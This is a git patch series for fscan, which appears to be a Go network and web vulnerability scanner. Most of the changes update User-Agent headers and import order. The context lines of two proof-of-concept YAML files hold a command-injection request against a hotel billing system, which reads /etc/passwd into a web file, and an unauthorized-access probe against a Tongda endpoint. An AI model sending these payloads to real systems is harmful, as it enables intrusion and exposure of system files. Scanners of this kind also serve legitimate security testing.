From 2e46d1adb6bc7e2ea828d86ca18b316a5180661f Mon Sep 17 00:00:00 2001 From: evilAdan0s <37237766+evilAdan0s@users.noreply.github.com> Date: Fri, 2 Sep 2022 11:26:06 +0800 Subject: [PATCH 1/4] =?UTF-8?q?'=E6=9B=BF=E6=8D=A2=E8=BF=87=E6=97=B6?= =?UTF-8?q?=E7=9A=84UA=E5=A4=B4'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/webtitle.go | 11 ++++++----- WebScan/WebScan.go | 7 ++++--- WebScan/pocs/Hotel-Internet-Manage-RCE.yml | 2 +- WebScan/pocs/tongda-meeting-unauthorized-access.yml | 2 +- 4 files changed, 12 insertions(+), 10 deletions(-) diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 093c68d..84db6b5 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -4,10 +4,6 @@ import ( "compress/gzip" "crypto/tls" "fmt" - "github.com/shadow1ng/fscan/WebScan" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" - "golang.org/x/text/encoding/simplifiedchinese" "io" "io/ioutil" "net/http" @@ -16,6 +12,11 @@ import ( "strings" "time" "unicode/utf8" + + "github.com/shadow1ng/fscan/WebScan" + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" + "golang.org/x/text/encoding/simplifiedchinese" ) func WebTitle(info *common.HostInfo) error { @@ -102,7 +103,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if err != nil { return err, "", CheckData } - req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36") req.Header.Set("Accept", "*/*") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") req.Header.Set("Cookie", common.Cookie) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 9a2e873..a6bcf78 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,13 +3,14 @@ package WebScan import ( "embed" "fmt" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" "strings" "sync" + + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" ) //go:embed pocs @@ -40,7 +41,7 @@ func Execute(PocInfo common.PocInfo) { common.LogError(errlog) return } - req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36") if common.Cookie != "" { req.Header.Set("Cookie", common.Cookie) } diff --git a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml index 4074d22..a58e3dc 100644 --- a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml +++ b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml @@ -3,7 +3,7 @@ rules: - method: GET path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1" headers: - User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" Accept-Encoding: "gzip,deflate" expression: | response.status == 200 && response.body.bcontains(b"parent.doTestResult") diff --git a/WebScan/pocs/tongda-meeting-unauthorized-access.yml b/WebScan/pocs/tongda-meeting-unauthorized-access.yml index b7e4e5c..dc8cfd1 100644 --- a/WebScan/pocs/tongda-meeting-unauthorized-access.yml +++ b/WebScan/pocs/tongda-meeting-unauthorized-access.yml @@ -4,7 +4,7 @@ rules: path: >- /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay headers: - User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36' + User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36' Accept-Encoding: 'deflate' follow_redirects: false expression: | From f981cf22e8bb635bea5bf57a07e43c5d8a5641c1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Fri, 2 Sep 2022 11:37:36 +0800 Subject: [PATCH 2/4] Update Hotel-Internet-Manage-RCE.yml --- WebScan/pocs/Hotel-Internet-Manage-RCE.yml | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml index a58e3dc..ce29777 100644 --- a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml +++ b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml @@ -2,9 +2,6 @@ name: Hotel-Internet-Manage-RCE rules: - method: GET path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1" - headers: - User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" - Accept-Encoding: "gzip,deflate" expression: | response.status == 200 && response.body.bcontains(b"parent.doTestResult") detail: @@ -12,4 +9,4 @@ detail: Affected Version: "Hotel Internet Billing & Operation Support System" links: - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8 - \ No newline at end of file + From 076e0012170e4b24f06cc9b012652d4e19a0e7ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Fri, 2 Sep 2022 11:37:51 +0800 Subject: [PATCH 3/4] Update tongda-meeting-unauthorized-access.yml --- WebScan/pocs/tongda-meeting-unauthorized-access.yml | 3 --- 1 file changed, 3 deletions(-) diff --git a/WebScan/pocs/tongda-meeting-unauthorized-access.yml b/WebScan/pocs/tongda-meeting-unauthorized-access.yml index dc8cfd1..c95a9e3 100644 --- a/WebScan/pocs/tongda-meeting-unauthorized-access.yml +++ b/WebScan/pocs/tongda-meeting-unauthorized-access.yml @@ -3,9 +3,6 @@ rules: - method: GET path: >- /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay - headers: - User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36' - Accept-Encoding: 'deflate' follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle"))) From fc416545a3f65633f1cd7844324deff87b58addf Mon Sep 17 00:00:00 2001 From: xiaobo Date: Wed, 2 Nov 2022 17:29:12 +0800 Subject: [PATCH 4/4] =?UTF-8?q?fix:=20=E4=BC=98=E5=8C=96=E6=89=AB=E6=8F=8F?= =?UTF-8?q?=E8=BE=93=E5=87=BA=EF=BC=8C=E6=89=AB=E6=8F=8F=E7=BB=93=E6=9E=9C?= =?UTF-8?q?=E7=BB=93=E5=B0=BE=E6=8D=A2=E8=A1=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.go b/main.go index 94a2c3c..0ae3db3 100644 --- a/main.go +++ b/main.go @@ -14,5 +14,5 @@ func main() { common.Parse(&Info) Plugins.Scan(Info) t := time.Now().Sub(start) - fmt.Printf("[*] 扫描结束,耗时: %s", t) + fmt.Printf("[*] 扫描结束,耗时: %s\n", t) }